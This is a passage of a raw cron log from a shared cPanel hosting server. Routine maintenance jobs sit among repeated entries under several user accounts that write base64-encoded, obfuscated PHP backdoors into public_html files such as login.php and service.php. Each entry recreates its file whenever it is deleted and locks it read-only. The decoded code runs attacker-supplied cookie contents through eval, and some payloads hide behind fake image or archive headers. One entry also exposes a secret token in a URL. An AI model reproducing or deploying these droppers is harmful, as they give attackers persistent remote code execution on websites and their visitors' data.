ICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:04:01 medusa CROND[28916]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:04:01 medusa CROND[28922]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:04:01 medusa CROND[28921]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:04:01 medusa CROND[28923]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:04:01 medusa CROND[28924]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:04:01 medusa CROND[28925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:05:01 medusa CROND[2100]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:05:01 medusa CROND[2114]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:05:01 medusa CROND[2118]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:05:01 medusa CROND[2221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:05:01 medusa CROND[2229]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:05:01 medusa CROND[2353]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:05:01 medusa CROND[2355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:05:01 medusa CROND[2357]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:05:01 medusa CROND[2359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:05:01 medusa CROND[2362]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 05:05:01 medusa CROND[2363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:05:01 medusa CROND[2358]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:05:01 medusa CROND[2369]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:05:01 medusa CROND[2371]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:05:01 medusa CROND[2373]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:05:01 medusa CROND[2374]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:05:01 medusa CROND[2370]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:05:01 medusa CROND[2377]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:05:01 medusa CROND[2379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:05:01 medusa CROND[2382]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:05:01 medusa CROND[2380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 05:05:01 medusa CROND[2393]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:05:01 medusa CROND[2392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:05:01 medusa CROND[2402]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:06:01 medusa CROND[3086]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:06:01 medusa CROND[3117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:06:01 medusa CROND[3292]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:06:01 medusa CROND[3293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:06:01 medusa CROND[3295]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:06:01 medusa CROND[3297]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:06:01 medusa CROND[3296]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:06:01 medusa CROND[3298]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:06:01 medusa CROND[3299]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:06:01 medusa CROND[3317]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:06:01 medusa CROND[3320]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:06:01 medusa CROND[3321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:06:01 medusa CROND[3324]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYn